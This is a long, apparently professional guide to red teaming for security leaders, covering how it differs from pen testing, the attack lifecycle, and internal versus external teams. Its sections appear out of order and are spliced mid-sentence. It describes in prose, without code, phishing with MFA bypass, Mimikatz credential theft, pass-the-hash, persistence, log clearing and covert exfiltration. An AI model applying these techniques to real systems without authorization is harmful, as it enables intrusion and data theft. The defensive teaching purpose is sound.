Pros: An internal red team becomes intimately familiar with the business and network, can test year-round, and is on hand to retest fixes. They provide a constant offensive perspective within the security organization. Over time, they can simulate attackers with increasing realism and even engage in continuous adversarial emulation. Internal teams also tend to be cost-effective for frequent testing (after initial investment). Perhaps most importantly, they can collaborate closely with the blue team in a purple teaming capacity, directly helping improve detections in a positive feedback loop.

Cons: The challenges include hiring and retaining the highly skilled individuals needed (there’s a shortage of experienced red teamers). There is also a risk of internal bias or familiarity – they might unconsciously avoid areas deemed off-limits politically, or their knowledge of the network could be a double-edged sword (they might use insider knowledge an outside attacker wouldn’t have, though they can also purposefully ignore such knowledge to simulate an outsider). Another concern is maintaining independence and trust: an internal team must have a degree of autonomy and support from leadership so they can report hard truths without fear. They also must avoid clashes with IT ops since they’ll be “attacking” colleagues’ systems regularly.

Best Practices for Internal Teams:

• Executive Support and Clear Mandate: Ensure the internal red team has a charter from senior leadership to ethically “hack” the company without punishment for doing their job. This includes setting boundaries (what is out-of-scope) and making sure other departments understand and support the mission. It’s wise to have a top executive (like the CISO) explicitly endorse the program so if a red teamer triggers an alarm, it’s handled appropriately via agreed channels (to avoid panic or disciplinary action).
• Separation and Trust: Typically, an internal red team should not report into the same hierarchy as the ops/security teams they are testing. For instance, if the SOC is under the CISO, the red team might report to a different senior manager or have a dotted line to internal audit or another function, to ensure they can act as an independent evaluator. One model is having the red team under the “purple team” or security testing group that is somewhat separate from day-to-day defense. At the same time, they must build trust with defenders. Many organizations start with purple teaming (collaborative exercises) to foster a collaborative culture, before doing full blind red teaming internally. As one expert advised, if you’re forming an internal team, first “build relationships with Blue” – take time to meet the SOC, understand their pain points, and assure them that the red team is here to help improve, not to play “gotcha”.
• Defined Rules of Engagement: Just like an external engagement, an internal team should have documented Rules of Engagement (ROE). These cover what they are allowed to do without further permission (e.g., social engineering, exploit attempts), what actions require a check-in (maybe anything that could impact availability), how to handle sensitive data they access, and how to deconflict if an attack is detected. An internal ROE might be a standing document, updated periodically. It could include having a “kill switch” – e.g., if the SOC or IT notices something, they have a way to verify if it’s the red team (via a pre-arranged code word with a trusted agent) so they don’t unknowingly pull the plug on business systems or call law enforcement on their own colleagues.
• Skilled and Diverse Team Composition: A good internal red team should have a mix of skill sets. Technical experts in network penetration, application security, and exploit development might be complemented by a social engineering specialist or someone with physical security knowledge if needed. Curiosity and creativity are key traits to hire for – as one guide notes, great red teamers are often distinguished by their curiosity and willingness to learn, not just their technical chops. They should also have good communication skills for reporting and collaborating with defenders. Internal hires can sometimes be groomed from the blue team or IT – individuals who show a hacker mindset can be trained for offensive work, which also strengthens cross-team empathy.
• Continuous Training and Tooling: Internal teams need access to tools and training to stay sharp. Allocating budget for them to attend red team courses, security conferences, and to acquire C2 frameworks or tradecraft tools is important. They should also set up a secure lab environment to practice techniques (especially if testing malware that shouldn’t accidentally hit production). Encourage them to contribute to open-source or internal tool development – many internal red teams build custom tooling tailored to their environment (for instance, scripts that automate recurring tasks or proof-of-concept exploits for internal applications).
• Collaboration with Blue (Purple Teaming): An internal red team has the luxury of working closely with defenders. This means they can do iterative exercises: e.g., run an attack, let the SOC observe and tune, run it again. For organizations new to red teaming, it’s suggested to start with purple teaming exercises to build trust and improve defenses in a low-stakes setting. Over time, the exercises can become more “red” (unannounced). After any engagement, internal red teams should debrief with the blue team in detail – since they’re colleagues, this can be very interactive, with log reviews and tool demonstrations to help the blue side learn. This tight feedback loop accelerates detection improvements.
• Avoiding Burnout and Scope Creep: One pitfall is using the internal red team for everything (e.g., also doing routine pen tests or vulnerability management). While they can advise those areas, if you task your red team with too many operational duties, they lose focus on the adversary simulation mission. Try to shield them from extraneous work so they can concentrate on creative attack development. Also, ensure they have downtime to research and recharge; red teaming can be intense and sporadic (periods of high activity around engagements, followed by lulls). Some internal teams adopt a cadence like: one quarter prepping, one quarter executing a campaign, one quarter doing purple improvements, etc., to balance workload.

Third-Party Red Teams (External Expertise)

Pros: External red team engagements bring a fresh, unbiased perspective. These teams have broad experience across many clients and often cutting-edge skills (since they see numerous environments and attack patterns). They can provide an objective assessment, which is valuable for leadership and regulators. They are also scalable – you can hire a large external team for a big test that your small internal team couldn’t tackle alone. And of course, if you lack an internal team, hiring a reputable firm is the way to get the benefits of red teaming without building everything in-house.

Cons: Cost can be significant, especially for prolonged or specialized engagements (though it’s usually worth the investment given what’s at stake). External teams have a learning curve to understand your environment, which is time-bound – they might miss some context that internal folks know (though one could argue that mimics an outsider attacker’s lack of context too). Coordination and trust are also factors: you need a strong contract, NDA, and clear scoping to ensure they operate safely. With external teams, there’s typically less flexibility in timing (you schedule a test window) and if something critical is found, they might stop or limit the test to avoid damage, whereas an internal team could be more continuous. Another consideration: some external engagements might end up with a report but no direct knowledge transfer to the internal team on how to improve (depending on the firm’s deliverables), so you want to ensure collaboration is part of the engagement, not just a test-and-report.

Best Practices for External Engagements:

• Vendor Selection and Accreditation: Choose reputable firms with a track record in red teaming (possibly with certifications like CREST, if in regions where that matters, or ones recommended by industry peers). For sensitive industries like banking, regulators may require using an accredited provider for red team tests. Evaluate their expertise in the specific domains you care about (e.g., if physical is in scope, do they have people for that? If you heavily use cloud, do they have cloud pentest experience?). You can ask for sample red team reports (sanitized) to gauge depth.
• Clear Objectives and Scope Definition: When kicking off the project, spend ample time with the provider to define the scope. What are the critical assets/flags? What attack types are allowed or not? If, for example, you don’t want them to actually exfiltrate customer data, specify that a screenshot of the database or a record sample is enough. Clarify physical scope: are data centers in play or only offices? Social engineering – can they call employees or only email? Regulatory red team frameworks (like CBEST/TIBER) have well-defined scoping processes, usually involving threat intel to set relevant goals. Emulate that even if not mandated.
• Rules of Engagement and Legal Authorization: Ensure a formal Rules of Engagement document is signed by all parties. This covers not only scope but emergency contacts, hours of testing if applicable (maybe no phishing nurses during hospital peak hours, etc.), how to handle discovery of unrelated serious issues (e.g# Red Teaming: The Ultimate In-Depth Guide for Security Leaders

In today’s high-stakes cybersecurity landscape, red teaming has emerged as a crucial practice for organizations looking to bolster their defenses against advanced threats. Red teaming is a full-scope, real-world attack simulation by ethical hackers (“red teamers”) who emulate adversaries to test an organization’s security across people, processes, and technology. Unlike routine penetration tests or vulnerability scans, red team exercises are goal-oriented and covert, probing not just for technical weaknesses but also gaps in detection and response. The result is a candid assessment of how your security holds up against a skilled, persistent attacker.

Security executives and CISOs are increasingly turning to red team engagements to proactively uncover unknown vulnerabilities and strengthen their cyber resilience. In fact, 68% of companies performing red team exercises believe they yield more valuable security insights than blue team (defensive) drills. By seeing your organization through the eyes of an attacker, you can identify weaknesses before malicious actors do, and drive improvements in your defenses. This comprehensive guide dives deep into red teaming—covering methodologies, tools, case studies, best practices, and industry-specific insights—to help you make the most of this advanced security practice. We’ll explore how to integrate red teaming with frameworks like MITRE ATT&CK, how to build or engage a red team (whether internal or third-party), and how red teaming enhances compliance, detection capabilities, cyber resilience, and overall security maturity.

Why Red Teaming Matters: Cyber threats are more sophisticated than ever, ranging from financially motivated ransomware gangs to state-sponsored APT groups. Traditional security assessments often operate in silos or on known vulnerabilities, whereas real attackers are creative and unpredictable. Red teaming provides a holistic, adversary-simulation that tests your organization’s readiness against multi-faceted attacks – including technical exploits, social engineering, and even physical intrusions. These exercises reveal not only if an attacker can breach your systems, but also how far they could go undetected and how effectively your team can respond. The insights from red teaming can be sobering: it’s not uncommon for red teams to achieve domain administrator privileges or exfiltrate sensitive data without triggering alarms, especially in organizations new to this level of testing. Such findings provide a “wake-up call,” highlighting gaps that must be addressed to prevent a real breach.

Despite its benefits, red teaming must be approached carefully and professionally. Simulated attacks carry inherent risks – if executed improperly, they can disrupt business or even create opportunities for real attackers. Strict rules of engagement, legal authorizations, and fail-safes are paramount. A famous example underscoring this point occurred in 2019, when an authorized red team exercise went awry: two contracted red teamers were arrested by local police while testing physical security at an Iowa courthouse due to miscommunication. This incident, while eventually resolved, highlights the need for clarity, coordination, and trust in any red team engagement. Throughout this guide, we’ll not only examine the offensive techniques and strategies used in red teaming, but also the governance and best practices that ensure these exercises are safe and beneficial.

Whether you are building an internal red team from scratch or planning to hire outside experts for a one-time assessment, this article will serve as your in-depth handbook. We’ll start by breaking down the red team methodologies and lifecycle—the step-by-step phases of a typical engagement—followed by a look at how frameworks like MITRE ATT&CK enrich red team operations. We’ll then survey key tools and techniques in the red team arsenal, from stealthy malware command-and-control frameworks to social engineering toolkits. Real-world case studies will illustrate red teaming in action (and the lessons learned), and we’ll discuss how to effectively build and manage red team programs, comparing the merits of internal teams versus third-party consultants.

Later sections zoom out to industry perspectives: a global view of red teaming adoption, then a focus on the financial sector, and finally a dive into Southeast Asia’s growing emphasis on red team exercises. Financial services, in particular, have pioneered intelligence-led red teaming frameworks (CBEST, TIBER, etc.) to harden critical infrastructure, and Southeast Asian regulators are increasingly mandating such exercises to combat rising cyber threats in the region. We’ll examine these developments and what they mean for organizations.

Finally, we’ll tie it all together by exploring how red teaming drives improvements in compliance, threat detection, incident response resilience, and overall security maturity. By the end of this guide, you should have a thorough understanding of red teaming and actionable insights on using it to fortify your organization’s security posture. So put on your adversary mindset, and let’s delve into the world of red teaming.

Red Teaming vs. Penetration Testing: Understanding the Difference

Before we map out the red team lifecycle, it’s important to distinguish red teaming from traditional penetration testing. Both involve ethical hackers attacking your systems, but their scope, approach, and objectives differ significantly:

• Scope and Objective: A penetration test (or “pen test”) is usually narrower in scope – often a single application, network segment, or compliance check – and aims to find as many specific vulnerabilities as possible within a limited time. Red teaming, by contrast, is broad and goal-oriented: the red team has a specific mission (e.g. gain domain admin, steal customer data, access a crown-jewel system) and can attack any vector (digital, human, physical) to achieve it. Instead of cataloguing every minor bug, the red team focuses on the paths that lead to critical impact.
• Methodology: Pen testers typically follow a checklist of known vulnerabilities and use openly known exploits, often with the defenders aware a test is underway. Red teamers operate more like real attackers, blending into normal traffic and behavior, and adapting on the fly. A red team engagement is longer-term and stealthy, sometimes running for weeks or months in multiple stages, whereas a pen test might last a few days on a defined asset. As one source puts it, pen tests are often time-boxed exercises (sometimes just a day or two per system), whereas red teaming is a “full spectrum” simulated attack campaign.
• Tactics and Techniques: Because red teaming isn’t constrained to a list of known CVEs, red teamers employ a wide array of tactics: spear-phishing employees, bypassing physical building controls, social engineering helpdesk staff, exploiting configuration weaknesses, living-off-the-land with legitimate admin tools, and so on. They might leverage zero-days or develop custom malware if needed. In contrast, pen tests usually stick to technical exploits (e.g. missing patches, SQL injection) and avoid areas like social engineering unless explicitly in scope. Red teaming is essentially adversary emulation – mimicking how an advanced persistent threat (APT) would combine techniques to achieve a mission.
• Defender Awareness: In a pen test, the IT team often knows when and what is being tested, and may even assist or whitelist the testers’ activities to some extent. A red team exercise is typically “blind” from the defender’s perspective: aside from a few senior stakeholders (often called the “white team” or trusted agents), the organization’s security staff is not informed about the ongoing simulation. This tests not just technical controls, but the detection and responsecapabilities of the blue team under realistic conditions. A recent study found that 62% of blue teams struggled to stop red team attackers during simulations – highlighting why an unbiased red team test can reveal gaps that an announced pen test might not.
• Outcome: Both pen tests and red team engagements culminate in a report, but their deliverables differ. A pen test report itemizes vulnerabilities and misconfigurations with severity ratings, similar to a bug report list. A red team report is more of a story of the attack, detailing the attack paths used, how controls were bypassed, what objectives were reached, and how long (if at all) it took for defenders to notice. Importantly, red team results often map to improvements in processes: e.g. “X was not detected by the SIEM, indicating a logging gap” or “Social engineering succeeded, indicating a need for training and MFA.” It’s a richer narrative that informs strategic defense enhancements, not just patching routines.

In summary, penetration testing is one component of security testing focused on finding known weaknesses, whereas red teaming is a holistic assessment of your organization’s ability to prevent, detect, and respond to a real-world attack. Pen tests are about checking the locks on the windows and doors; red teaming is about seeing if an intruder can find a way in and what they can do once inside despite your locks and alarms. Both are valuable, but red teaming provides a higher level of assurance for organizations with more mature security programs. Many standards now suggest using pen tests to fix basic issues first, and then employing red teams to evaluate overall resilience once the security baseline is in place.

With the differences established, let’s delve into the methodology and lifecycle of a red team operation, from preparation all the way to post-engagement analysis.

The Red Team Engagement Lifecycle and Methodology

Red team operations are often structured as a multi-phase lifecycle that mirrors the stages of a real cyber intrusion, extended as needed to meet the engagement’s objectives. While different organizations and frameworks may define phases slightly differently, the core idea is the same: start outside the target, find a way in, escalate access, achieve goals, and (in a test scenario) exit without a trace. One way to break down a red team exercise is in five broad phases – Planning, Reconnaissance, Attack/Exploitation, Reporting, and Remediation. However, for a deeper technical understanding, it helps to expand this into more granular steps aligned with an attacker’s “kill chain.” For example, Yaksas Security describes a comprehensive nine-step red team attack lifecycle: Reconnaissance, Initial Compromise, Privilege Escalation, Establishing Persistence, Internal Reconnaissance, Lateral Movement, Data Targeting/Analysis, Exfiltration, and Covering Tracks. Below, we’ll walk through the typical flow of a red team engagement, combining these perspectives and highlighting key activities in each phase.

1. Planning and Preparation (Objectives and Rules of Engagement)

Every successful red team exercise begins with meticulous planning. In this initial phase, the scope and objectives of the engagement are defined, and the rules of engagement (ROE) are agreed upon. The planning stage is usually a collaboration between the red team leadership and the organization’s stakeholders (often a CISO or security manager sponsoring the test). Key decisions include: what are the critical “crown jewel” assets or processes to evaluate, what actions are off-limits (for safety or legal reasons), and what constitutes success for the red team (the “flags” or goals to reach).

Threat modeling and intelligence gathering feed into this phase. Many red team engagements today are threat intelligence-led, meaning they use real threat actor TTPs (Tactics, Techniques, Procedures) as inspiration. For example, a bank might want the red team to emulate tactics of a known financial cybercrime group or nation-state APT that targets banks. This ensures the test is realistic and focused on relevant threats. If available, threat intel about likely attackers, their favored techniques (as catalogued in frameworks like MITRE ATT&CK), and recent incidents in the industry are used to craft the scenario. The result of this planning is often a high-level attack plan that outlines possible avenues to achieve the objectives, while remaining flexible to adapt as new opportunities arise.

During planning, specific constraints are set to protect the business. This includes defining testing windows if certain aggressive actions are only allowed during off-hours, identifying any systems that are out of scope (perhaps safety-critical systems or production controls that must not be disrupted), and establishing communication protocols. The trusted agents or “white team” are designated – these are typically one or two people inside the organization who know about the test and can act as liaisons or emergency contacts. For instance, the security director might be aware and can secretly monitor the red team’s progress to ensure things don’t get out of hand, but they won’t intervene unless necessary. In some engagements, a white team member from the blue side is included as an observer to quietly collect logs and evidence, ensuring the exercise can be properly reconstructed in the debrief. This person can see both sides (attacker actions and defender telemetry) and help “keep the rollercoaster on the rails”.

The output of the planning phase is a clear Rules of Engagement document and green light to proceed. Everyone involved agrees on when the test will start/end, who is authorized to do what, and how to handle any incidents or discoveries during the test. For example, the ROE might state that if the red team finds a critical zero-day vulnerability that could crash a system, they will pause and report it rather than exploit it. It will also specify legal permissions – essentially a “get out of jail” letter stating the red team is operating with consent of the organization’s owners (to avoid any legal misunderstanding if they’re caught in the act by IT or law enforcement). With this groundwork laid and all permissions in place, the red team can move to the next phase.

2. Reconnaissance (Information Gathering)

The first active phase of the operation is reconnaissance – quietly gathering as much information as possible about the target environment to identify potential attack vectors. This often begins externally, without direct interaction with the target’s systems (to avoid early detection). Red teams use both passive and active recon techniques:

• Open-Source Intelligence (OSINT): Passive reconnaissance involves scouring publicly available information about the organization and its employees. Red teamers will harvest data from company websites, press releases, job postings (which reveal technologies in use), WHOIS records, leaked credential databases, social media profiles of employees, and more. The goal is to map out the target’s digital footprint and gather personal details that could be leveraged in social engineering. For example, finding employee email formats, names of key IT staff, or identifying technologies (e.g., a LinkedIn profile of an engineer mentions using AWS and Azure) helps shape phishing lures and technical exploits. They might discover that an employee’s credentials were exposed in a past data breach and attempt those for VPN or email – a surprisingly common entry point if password reuse isn’t mitigated. OSINT also includes identifying third-party providers, subdomains, cloud assets, and any clues to the security architecture (e.g., if staff mention certain security products on resumes).
• External Scanning and Enumeration: Active reconnaissance might involve scanning the organization’s external-facing assets (websites, VPN gateways, email portals, cloud endpoints) for open ports, services, and potential vulnerabilities. Using tools like Nmap, the red team maps the “attack surface.” They look for weak points such as an outdated VPN appliance, an open database, misconfigured cloud storage, or development sites left unsecured. They may enumerate DNS records to find subdomains (e.g., vpn.company.com, test.company.com) that could reveal hidden entry points. Web application reconnaissance is also key – running fuzzers or using tools like Burp Suite to identify pages and parameters that might be exploitable. For instance, the red team might find a company’s employee portal and test if it’s susceptible to SQL injection or weak default credentials. In one real engagement, a red team discovered an exposed development web application with a known vulnerability and used it to plant a web shell – granting them initial access to the network.
• Social Reconnaissance: People are part of the attack surface. Red teams often research employees on professional and social platforms to identify targets for phishing or pretexting. They might find out that the CEO is traveling (making a whaling email timely) or that a sysadmin is very active on tech forums (perhaps giving away hints about the infrastructure). If physical access is in scope, the red team might even perform site observation – noting building security measures, entry routines, or where the offices are located (for tailgating opportunities or placing rogue devices).

The recon phase can be extensive and may quietly continue throughout the engagement (even after initial access, the red team will perform internal reconnaissance once inside the network). A well-executed recon dramatically improves the odds of success. For example, gathering a list of likely VPN users and their passwords from a data breach could allow a password-spraying attack that gets a hit, or finding an old IT documentation file online might list admin passwords or network diagrams. As Mindgard notes, reconnaissance aims to identify potential vulnerabilities and entry points by analyzing all available information about the target.

By the end of reconnaissance, the red team compiles a map of potential attack vectors. They then prioritize these opportunities based on what’s most likely to succeed and what aligns with their objectives. With this intelligence in hand, they move on to attempting initial access.

3. Initial Access (Exploitation and Entry)

Initial access is the first “break-in” point – the moment the red team establishes a foothold inside the target environment. Depending on the scenario and what recon uncovered, this could take many forms. Red teams often pursue multiple paths in parallel to improve their odds, such as a combination of technical exploits and social engineering. Common initial access techniques include:

• Phishing and Social Engineering: Humans are frequently the weakest link, so phishing is a favored initial access method. The red team crafts convincing emails or messages that trick users into divulging credentials or executing malicious payloads. For example, they might send an email that impersonates the IT department, asking users to log into a fake portal to update their VPN software (harvesting their password), or ask them to open an “important” attachment that contains malware. Advanced phishes use Adversary-in-the-Middle techniques: tools like Evilginx2can proxy real login pages (Office 365, VPN, etc.), so when the user logs in, the tool captures the session token (bypassing MFA) and then passes the user through to the real site seamlessly. This gives the red team valid authenticated sessions. In one case study, a bank’s red team crafted phishing emails impersonating the bank’s IT support; about 15% of employees clicked the link, leading to several compromised email accounts. The lesson was clear: even well-trained staff can slip up, so multi-factor authentication and technical email defenses are critical. Social engineering isn’t limited to email – red teamers may also call employees (vishing), impersonate vendors, or use LinkedIn messages, whatever it takes to establish trust and get the target to take an action.
• Exploiting Vulnerabilities: If reconnaissance identified a vulnerable internet-facing system, the red team can exploit it to gain a foothold. This might involve using public exploit code for a known CVE or even developing a custom exploit if it’s a high-value target. Examples: exploiting an unpatched web server to get a web shell, exploiting a deserialization bug in a web app to get remote code execution, or leveraging default credentials on a forgotten system. In a U.S. critical infrastructure assessment, CISA’s red team gained initial access through a web shell left on a server from a previous test. In another instance, a red team found a VPN appliance with a known flaw and exploited it to retrieve credentials. Such technical exploits skip the need for user interaction, though they depend on the target having an unpatched weakness. Part of initial access might also be breaching third-partiesconnected to the target – for example, compromising a vendor that has VPN access to the company and then using that connection. This broadens scope, though, and requires client sign-off.
• Brute Force and Credential Stuffing: Simpler methods like password spraying (trying common passwords on many accounts) or credential stuffing (trying username/password pairs from leaks) can work surprisingly often. If the red team’s OSINT found that several employees reused passwords exposed in a public breach, they might attempt to reuse those on corporate accounts. Password spraying might involve taking a list of all employees’ usernames (often guessed or found via email conventions) and trying a few very common passwords (like Summer2025!) against them. This low-and-slow technique sometimes yields an account, especially if password policies are weak. Once an account is in hand, they can login to services like VPN, O365, etc., ideally where MFA is not enforced. Many red team reports highlight that lack of MFA on one or two critical services is enough to get in with guessed credentials.
• Physical Access Attacks: If included in scope, the red team might attempt to physically enter the premises or drop malicious devices. Examples include tailgating into an office behind an employee, using a fake badge or uniform to get through security, or leaving USB thumb drives in the parking lot loaded with trojans (hoping an employee will plug one in). Once physically inside, they could connect a small device to an open network port (like a conference room Ethernet jack) to establish a backdoor access. One red team acting as visitors in a hospital entered restricted areas undetected and found unsecured sensitive data lying around. They also planted a rogue device on the network, effectively bypassing all external network controls. Physical breaches test the synergy between physical security and IT security – often, IT assumes the internal network is trustworthy. Red teamers can exploit that by plugging in and acting as an insider.

However initial access is achieved, the red team’s priority is to establish a stable foothold. This often means deploying a lightweight backdoor or implant on a compromised system. Commercial red team operations commonly use sophisticated Command-and-Control (C2) frameworks for this purpose, which give them covert remote access to the machine. Examples include Cobalt Strike, a popular post-exploitation toolkit that plants “Beacon” implants for persistent control, or Brute Ratel (BRC4), a newer stealthy C2 platform, or open-source frameworks like Sliver. The implant will typically connect out to an Internet-based server controlled by the red team, establishing an encrypted channel (over HTTPS, DNS tunneling, etc.) that blends with normal traffic. This gives the red team an interactive foothold inside the network, usually without needing further user action.

At this stage, the red team has one foot in the door – say, a low-privilege user’s workstation via phishing, or a DMZ server via exploit. The next steps involve expanding that access into control over the wider network. A crucial concept is that the initial foothold is rarely the end goal; it’s the beachhead from which to launch further attacks inside (much like real intruders do). Now the engagement moves into the post-exploitation phase, where the red team tries to deepen their access and move laterally.

4. Post-Exploitation: Privilege Escalation, Lateral Movement, and Persistence

Once initial access is obtained, the red team shifts into post-exploitation mode, operating from within the target’s environment. The objectives here are to escalate privileges (gain higher-level access on compromised systems), move laterally to other systems, and ultimately reach the crown jewels defined in the engagement goals. Simultaneously, the red team will take steps to remain stealthy and persistent in the environment, avoiding detection by the blue team for as long as possible. Key components of post-exploitation include:

• Privilege Escalation: Often the initial access yields only user-level privileges, which can be restrictive. Privilege escalation is about acquiring administrator or root permissions on the compromised host. Red teamers will enumerate the system for misconfigurations or vulnerabilities that allow elevation. Common avenues on Windows include: vulnerable drivers or unpatched local privilege escalation exploits, misconfigured services (e.g., weak file permissions that let a normal user replace an executable run by a service), and credential theft from memory (if an admin account has recently logged in, its credentials might be retrievable). A quintessential tool is Mimikatz, which can extract plaintext passwords and password hashes from the LSASS process on Windows. If the red team can run Mimikatz on the phished user’s machine, they might find that user’s password (if they have admin rights, possibly cached domain creds) or even other credentials present on the system (like an admin who logged in to troubleshoot something). Many organizations learn the hard way that administrative credentials are left where they shouldn’t be – Mimikatz exploits that. On Linux, tools like LinPEAS or manual checks (for SUID root files, etc.) help escalate privileges. Often, password reuse between local and domain accounts also helps – e.g., if the local admin password is the same on many machines, compromising one yields local admin on others.
• Establishing Persistence: Real attackers often establish persistent access to ensure they can regain entry even if one backdoor is discovered. Red teams emulate this within reason. Persistence means setting up mechanisms that will survive reboots or credential changes. For instance, they might create a new local user with admin rights, implant a secondary hidden web shell on a server, or schedule tasks that re-enable their access. In Windows environments, a common persistence is to register their malware as a service or use the registry “Run” keys for startup. In Active Directory, they might add a secret rogue domain admin (though this is usually too noisy for a test). The idea is to have a fallback if the main C2 channel gets shut down. As Yaksas notes, usually “each time a new host is compromised,” the attacker installs a persistence mechanism like a C2 beacon on it. In a red team engagement, persistence might be more limited (they don’t want to truly backdoor everything and forget it), but they will simulate it enough to test detection. They ensure that if one compromised system is cleaned, they have another way in – until the exercise ends, upon which they remove these mechanisms.
• Internal Reconnaissance: Now that the red team is inside the network, they perform internal recon to understand the environment from the perspective of their foothold. This involves enumerating internal network ranges, identifying key servers, and gathering info on the domain (if Windows AD). Tools like BloodHound help map Active Directory trusts to find attack paths. A red teamer might run an AD discovery script to list all domain admins, domain controllers, and open shares. They might find documentation files on file shares (e.g., network diagrams or password spreadsheets, which sadly still exist in some places). If they have a normal user account compromise, they’ll see what that user can access – maybe an internal wiki or SharePoint full of useful info. Email access is another treasure trove: if they popped someone’s email, they can search for sensitive info or further phish high-level targets by replying in existing threads (since that would come from a trusted internal account). Internal recon is often iterative: each time they gain a new level of access or a new machine, they’ll enumerate from that vantage point to reveal further opportunities.
• Lateral Movement: Using information gathered, the red team will pivot laterally to compromise additional hosts and accounts, expanding their foothold. Techniques include:
  • Credential Reuse: If they obtained password hashes or plaintext credentials from one machine (via Mimikatz or finding them in config files), they attempt to reuse them elsewhere. For example, if they got an admin’s password, they try it on other systems or VPNs. Pass-the-Hash attacks allow using an NTLM hash to authenticate to other machines without knowing the plaintext password – tools like Impacket’s psexec.py or CrackMapExec facilitate this. If an admin credential works on a domain controller, they’ve essentially escalated to domain admin at that point.
  • Remote Execution: The red team may use remote execution tools to hop to other systems. Windows provides many ways to run commands on a remote host if you have credentials: SMB/WMI, remote services, Remote Desktop, etc. As mentioned, Impacket and CrackMapExec are commonly used to automate trying these. For stealth, WMI or Scheduled Tasks (which don’t copy binaries to disk) are preferred over something like SMB file copy. They might also deploy their C2 implant to the new system to maintain control from their central server.
  • Harvesting More Creds: Every new host is an opportunity to steal more credentials. If they compromise a server that administrators frequently log into, running Mimikatz there might yield an active domain admin token. This tactic often leads to privilege escalation through lateral movement – you get a user’s machine, from there get a helpdesk admin’s creds (who fixed something on that machine), use those creds on an IT server, there pull a domain admin’s creds, and bingo – domain admin rights achieved. It’s a chain.
  • Pivoting Tools: Sometimes the initial compromised machine can’t directly reach the target (network segmentation may block it). Red teamers use pivoting features in C2 frameworks or tools like SSH dynamic port forwarding to route through compromised hosts. This effectively turns a compromised host into a stepping stone to reach deeper into segregated networks (like sensitive production networks or OT networks in industrial environments).

At this point, if all goes well for the red team, they progressively compromise higher privileges and more sensitive systems. A common intermediate goal is to gain control of the Active Directory domain (for Windows-centric networks) because that usually grants keys to the kingdom. Achieving domain admin privileges is often considered “game over” from a defensive standpoint, as the attacker can then create accounts, move anywhere, and access almost everything. Indeed, many red team engagements culminate in domain admin access, demonstrating how far an attacker could go. For example, in the earlier bank case, the red team eventually escalated to domain admin and reached critical financial systems undetected. In the CISA assessment, the red team compromised the Windows domain and sensitive business servers while the organization’s defenses largely failed to detect or stop them.

• Data Access and Objectives: With high-level access, the red team performs the mission-specific goals that were set in the planning phase. This is the “actions on objectives” step. For instance, if the objective was to see if customer data could be stolen, now that they have domain admin, they locate the database or file server with that data and extract a subset of it. Or if the goal was to test resilience of fund transfer systems, they might attempt to initiate a fake transfer or demonstrate they could manipulate transactions. In one retail chain test, the red team that had roamed the network eventually found unpatched web vulnerabilities allowing them to steal customer data and show how backups were insecure. Essentially, this phase answers: If attackers got in, what could they do to your crown jewels? The red team carefully gathers evidence of this capability (like copying a few sensitive records, taking screenshots of critical application consoles, etc.) without causing actual harm.
• Covering Tracks: A real attacker, after completing their objectives, would attempt to cover their tracks to evade forensic investigation. Red teams might simulate some of this, but usually in a lighter way since they eventually need to report on what they did. Nonetheless, to test incident response and see if blue teams notice, they may delete certain logs or artifacts as they go. For example, they might clear Windows Event Logs relevant to their exploitation activities or remove the phishing emails from mailboxes to erase evidence of the initial compromise. Yaksas lists “deleting footprints” as the final step of the attacker lifecycle, and red teams often practice partial log hygiene as part of the stealth game. If a red team can operate for weeks and then clean up such that the organization can barely find any trace of them, it indicates a very stealthy attack – and significant detection blind spots.

Throughout post-exploitation, the red team tries to blend in with normal activity to avoid detection. They often leverage “living off the land” techniques – using legitimate administrative tools and processes rather than custom malware wherever possible. For instance, using PowerShell to execute payloads (since PowerShell is a legit admin tool), or using the Windows “bitsadmin” utility to download files (so it looks like Windows doing something normal). The longer they can stay undetected, the more they can achieve and the more they can test the blue team’s true capabilities. Some red team engagements explicitly measure this dwell time – how long can the team operate before the defenders catch on (if at all). The ultimate goal is ideally that the defenders do detect them at some point, so that the exercise can validate detection/response and the red team can provide feedback. If the red team completes all objectives with zero detection, the defenders have a big gap to fix (though it’s a powerful lesson).

Summing up this phase: post-exploitation is where the red team demonstrates what a determined intruder could accomplish inside your network – often pivoting from a single compromised user to full domain control and critical data access. It’s a true test of an organization’s internal defenses and monitoring. The red team meticulously documents each step because this will form the narrative of the report, showing exactly how they chained multiple weaknesses into a serious breach scenario. Once they’ve achieved the set goals (and maybe stretched them a bit to see what else is possible), it’s time to wrap up the engagement.

5. Exfiltration and Attack Completion

If one of the engagement goals is to simulate data theft (which is very common), the red team will also practice exfiltration – extracting data out of the target environment without detection. Even if data theft isn’t the primary goal, demonstrating the ability to exfiltrate some data can highlight gaps in data loss prevention controls.

Exfiltration techniques used by red teams include:

• Over C2 Channels: The easiest is often to use the existing C2 tunnel. Since it’s encrypted and already established, they can send files through it. For example, compressing a set of files into an archive (zip/7zip) and using the C2 file transfer feature to pull it out. They might encrypt the archive and give it an innocuous name to avoid any content inspection flags.
• Cloud and Web Services: Uploading data to a trusted cloud service (Dropbox, Google Drive, AWS S3) from within the network is a method, since many organizations allow outbound HTTPS to such services. Red teams can script their malware to do an HTTP POST of data to a fake “web API” that’s actually collecting the info. DNS tunneling is another clever method: encoding data in DNS queries (because DNS traffic often isn’t blocked or closely monitored).
• Email or Messaging: If they have control of an email account internally, they might try sending an email out with a chunk of data (though many companies have filters for large attachments or certain keywords leaving the network). Or use something like Slack or Teams if external communication is enabled.
• Physical Removal: In some cases, if physical presence was achieved, the red team could copy data to a device and walk out with it (to simulate an insider threat copying files to a USB drive).

The key for exfiltration is to avoid setting off any DLP (Data Loss Prevention) systems or anomaly detectors (like an IDS noticing a huge data transfer). Red teams often opt to exfiltrate a relatively small amount of representative data to stay under the radar. For instance, instead of exfiltrating an entire 100GB database, they might extract 100MB that contains samples of sensitive info – enough to prove the point. In one adversarial simulation for a bank, the red team exfiltrated session data and screenshots in real time from compromised systems via their malware, and also showed they could have exported customer records due to a lack of egress monitoring. Many companies find they have invested in perimeter defenses but not in watching outbound traffic closely.

With objectives met and evidence collected, the red team will begin to conclude the active attack. Often they will intentionally leave one clear sign for defenders as the exercise wraps up. For example, after obtaining everything quietly, they might trigger a harmless alert or perform a very noticeable action (like create a file named “pwned.txt” on the desktop of a domain controller). This is sometimes done to ensure that if the defenders truly saw nothing, they at least catch something and initiate response, which can then be part of the exercise learning. This practice varies – some engagements remain stealth to the end, especially if the goal is to see if the defenders ever notice.

